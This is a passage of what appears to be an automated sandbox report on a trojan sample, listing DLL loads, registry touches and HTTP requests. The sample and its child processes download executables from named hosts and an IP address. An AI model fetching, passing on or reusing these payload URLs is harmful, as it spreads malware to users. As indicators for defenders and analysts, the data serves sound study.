to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "fc064.Trojan.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "fc064.Trojan.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "fc064.Trojan.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "fc064.Trojan.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "CasPol.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "CasPol.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "CasPol.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135]4f:T7c4,"GET /order/tuc15.exe HTTP/1.1 Host: pic.himanfast.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Fri 03 Nov 2023 02:28:10 GMT Content-Type: application/octet-stream Content-Length: 5715142 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=tuc15.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=09ACQhaN9WPVC3T0jxYoVkiFqt4zA5jTG0vCb%2F8uOKLthyO1r%2BirgT2Lw5qFRQ%2FCdTnS6uW9tAAxz7rYLGdzBiea1yUmaYl7ktB1NwRvdHLxNBGV%2FJ0TRT9c%2FngsdnVlXX9lcw%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 82012ea8ce2b9e76-SJC alt-svc: h3=":443"; ma=86400 with response body ==>4D5A50000200000004000F00FFFF0000B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /downloads/toolspub1.exe HTTP/1.1 Host: galandskiyher5.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri 03 Nov 2023 02:28:09 GMT Content-Type: application/x-msdos-program Content-Length: 270848 Connection: close Last-Modified: Fri 03 Nov 2023 02:28:02 GMT ETag: "42200-6093640ec59b1" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /files/My2.exe HTTP/1.1 Host: 171.22.28.221 Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Date: Fri 03 Nov 2023 02:28:08 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 Content-Length: 300 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A.......50:T46b8,"fc064.Trojan.exe" loaded module "KERNEL32" at base 75e50000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 76150000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 76150000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 76150000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 770b0000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76150000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76150000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76150000 "fc064.Trojan.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 716c0000 "fc064.Trojan.exe" loaded module "ADVAPI32.DLL" at base 775d0000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 71610000 "fc064.Trojan.exe" loaded module "SHLWAPI.DLL" at base 75c50000 "fc064.Trojan.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 754d0000 "fc064.Trojan.exe" loaded module "VERSION.DLL" at base 73580000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76150000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 70e40000 "fc064.Trojan.exe" loaded module "USER32.DLL" at base 75ca0000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76150000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "fc064.Trojan.exe" loaded module "MSCOREE.DLL" at base 73340000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75530000 "fc064.Trojan.exe" loaded module "PSAPI.DLL" at base 75520000 "fc064.Trojan.exe" loaded module "KERNEL32.DLL" at base 75e50000 "fc064.Trojan.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\8D55D7CAD944A3F21AEB1DB491F3D6DE\MSCORLIB.NI.DLL" at base 6f950000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "fc064.Trojan.exe" loaded module "RPCRT4.DLL" at base 77650000 "fc064.Trojan.exe" loaded module "OLE32.DLL" at base 763d0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74a80000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75530000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76150000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6f8d0000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "fc064.Trojan.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\10E5A0803D11B8B826DBEB56A1F98239\SYSTEM.NI.DLL" at base 6eeb0000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "fc064.Trojan.exe" loaded module "UXTHEME.DLL" at base 74a80000 "fc064.Trojan.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\53FCC36B6B7C9CC86E5D7484C1F93BD8\SYSTEM.CORE.NI.DLL" at base 6e690000 "fc064.Trojan.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\E4E680611F69D26D704E61DD8BFA4ECE\SYSTEM.CONFIGURATION.NI.DLL" at base 6e580000 "fc064.Trojan.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\638BA173C955AB83F37EDBAB9B896F44\SYSTEM.XML.NI.DLL" at base 6de10000 "fc064.Trojan.exe" loaded module "NTDLL.DLL" at base 777e0000 "fc064.Trojan.exe" loaded module "SHELL32.DLL" at base 76a40000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "fc064.Trojan.exe" loaded module "BCRYPT.DLL" at base 732a0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74160000 "fc064.Trojan.exe" loaded module "IMM32.DLL" at base 770b0000 "fc064.Trojan.exe" loaded module "COMCTL32.DLL" at base 6dd70000 "fc064.Trojan.exe" loaded module "GDI32.DLL" at base 754f0000 "fc064.Trojan.exe" loaded module "GDIPLUS.DLL" at base 73b80000 "fc064.Trojan.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22621.1635_NONE_9FA79A41E294B962\GDIPLUS.DLL" at base 73b80000 "fc064.Trojan.exe" loaded module "ADVAPI32" at base 775d0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 77290000 "fc064.Trojan.exe" loaded module "WLDP.DLL" at base 6db00000 "fc064.Trojan.exe" loaded module "AMSI.DLL" at base 6dae0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73580000 "fc064.Trojan.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23080.2006-0\X86\MPOAV.DLL" at base 723c0000 "fc064.Trojan.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23080.2006-0\X86\MPCLIENT.DLL" at base 6d9f0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 75e50000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 775d0000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74b10000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74460000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72b70000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 728d0000 "fc064.Trojan.exe" loaded module "SSPICLI.DLL" at base 72650000 "fc064.Trojan.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 76150000 "fc064.Trojan.exe" loaded module "VIRTDISK.DLL" at base 72630000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 749b0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 749b0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\APPRESOLVER.DLL" at base 6d7c0000 "fc064.Trojan.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 73020000 "fc064.Trojan.exe" loaded module "KERNELBASE" at base 76150000 "fc064.Trojan.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\MICROSOFT.VISUALBASIC\V4.0_10.0.0.0__B03F5F7F11D50A3A\NTDLL.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76150000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76150000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76150000 "powershell.exe" loaded module "KERNEL32" at base 75e50000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 716c0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 775d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 71610000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 75c50000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 754d0000 "powershell.exe" loaded module "VERSION.DLL" at base 73580000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 76150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 70e40000 "powershell.exe" loaded module "USER32.DLL" at base 75ca0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 76150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 73340000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75530000 "powershell.exe" loaded module "PSAPI.DLL" at base 75520000 "powershell.exe" loaded module "KERNEL32.DLL" at base 75e50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\8D55D7CAD944A3F21AEB1DB491F3D6DE\MSCORLIB.NI.DLL" at base 6f950000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 763d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "RPCRT4.DLL" at base 77650000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 774d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74160000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 77290000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 76150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6f8d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\10E5A0803D11B8B826DBEB56A1F98239\SYSTEM.NI.DLL" at base 6eeb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\53FCC36B6B7C9CC86E5D7484C1F93BD8\SYSTEM.CORE.NI.DLL" at base 6e690000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 75530000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 75530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 76a40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73580000 "powershell.exe" loaded module "WINTRUST.DLL" at base 76920000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\638BA173C955AB83F37EDBAB9B896F44\SYSTEM.XML.NI.DLL" at base 6de10000 "powershell.exe" loaded module "WLDP.DLL" at base 6dbb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6d7b0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 76550000 "CasPol.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 76150000 "CasPol.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 76150000 "CasPol.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 76150000 "CasPol.exe" loaded module "KERNEL32" at base 75e50000 "CasPol.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 716c0000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "CasPol.exe" loaded module "SHELL32.DLL" at base 76a40000 "CasPol.exe" loaded module "NTDLL.DLL" at base 777e0000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "CasPol.exe" loaded module "IPHLPAPI.DLL" at base 75220000 "CasPol.exe" loaded module "KERNEL32.DLL" at base 75e50000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 71df0000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72430000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 71cd0000 "CasPol.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 71c40000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 71bc0000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 77290000 "CasPol.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "CasPol.exe" loaded module "CRYPT32.DLL" at base 76550000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74160000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74a80000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74460000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74b10000 "CasPol.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72b70000 "CasPol.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 749b0000 "CasPol.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 73020000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 1a390000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 1a390000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 1a390000 "OneDriveStandaloneUpdater.exe" loaded module "KERNEL32" at base 1bf40000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base e5120000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 1b8a0000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 1a390000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 1a390000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 1a390000 "OneDriveStandaloneUpdater.exe" loaded module "COMBASE.DLL" at base 1c110000 "OneDriveStandaloneUpdater.exe" loaded module "WSCAPI.DLL" at base b6d0000 "OneDriveStandaloneUpdater.exe" loaded module "KERNEL32.DLL" at base 1bf40000 "OneDriveStandaloneUpdater.exe" loaded module "NTDLL" at base 1cc90000 "OneDriveStandaloneUpdater.exe" loaded module "RPCRT4.DLL" at base 1b960000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 19100000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 176e0000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 1c110000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 1c110000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.NETWORKING.CONNECTIVITY.DLL" at base f20000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 15850000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 12740000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.SYSTEM.DIAGNOSTICS.TELEMETRY.PLATFORMTELEMETRYCLIENT.DLL" at base 8d30000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\BITSPROXY.DLL" at base e64b0000 "OneDriveStandaloneUpdater.exe" loaded module "SSPICLI.DLL" at base 19350000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 19070000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 1a970000 "OneDriveStandaloneUpdater.exe" loaded module "WINHTTP.DLL" at base 13890000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base fad70000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 19570000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 11e10000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 12da0000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 18f70000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base b1f0000 "OneDriveStandaloneUpdater.exe" loaded module "WS2_32.DLL" at base 1c740000 "OneDriveStandaloneUpdater.exe" loaded module "WOFUTIL.DLL" at base 1340000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 5ca0000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base df920000 "OneDriveStandaloneUpdater.exe" loaded module "CLDAPI.DLL" at base fef50000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 12130000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 180b0000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 39e0000 "OneDriveStandaloneUpdater.exe" loaded module "USER32.DLL" at base 1c590000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base e6e0000 "OneDriveStandaloneUpdater.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 1a390000 "OneDriveStandaloneUpdater.exe" loaded module "VIRTDISK.DLL" at base e8e70000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 17f70000 "OneDriveStandaloneUpdater.exe" loaded module "SHELL32.DLL" at base 1aaf0000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 980000 "OneDriveStandaloneUpdater.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 13be0000 "OneDriveStandaloneUpdater.exe" loaded module "NTDLL.DLL" at base 1cc90000 "OneDriveStandaloneUpdater.exe" loaded module "KERNELBASE" at base 1a39000051:T17b4,"fc064.Trojan.exe" touched "Activation Layout Preferences" (Path: "HKCU\WOW6432NODE\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "fc064.Trojan.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "fc064.Trojan.exe" touched "Network" (Path: "HKCU\WOW6432NODE\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "fc064.Trojan.exe" touched "Recycle Bin" (Path: "HKCU\WOW6432NODE\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "fc064.Trojan.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "fc064.Trojan.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "fc064.Trojan.exe" touched "UsersLibraries" (Path: "HKCU\WOW6432NODE\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "fc064.Trojan.exe" touched "CLSID_SearchFolder" (Path: "HKCU\WOW6432NODE\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "fc064.Trojan.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\WOW6432NODE\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "fc064.Trojan.exe" touched "Public Folder" (Path: "HKCU\WOW6432NODE\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "fc064.Trojan.exe" touched "Control Panel command object for Start menu and desktop" (Path: 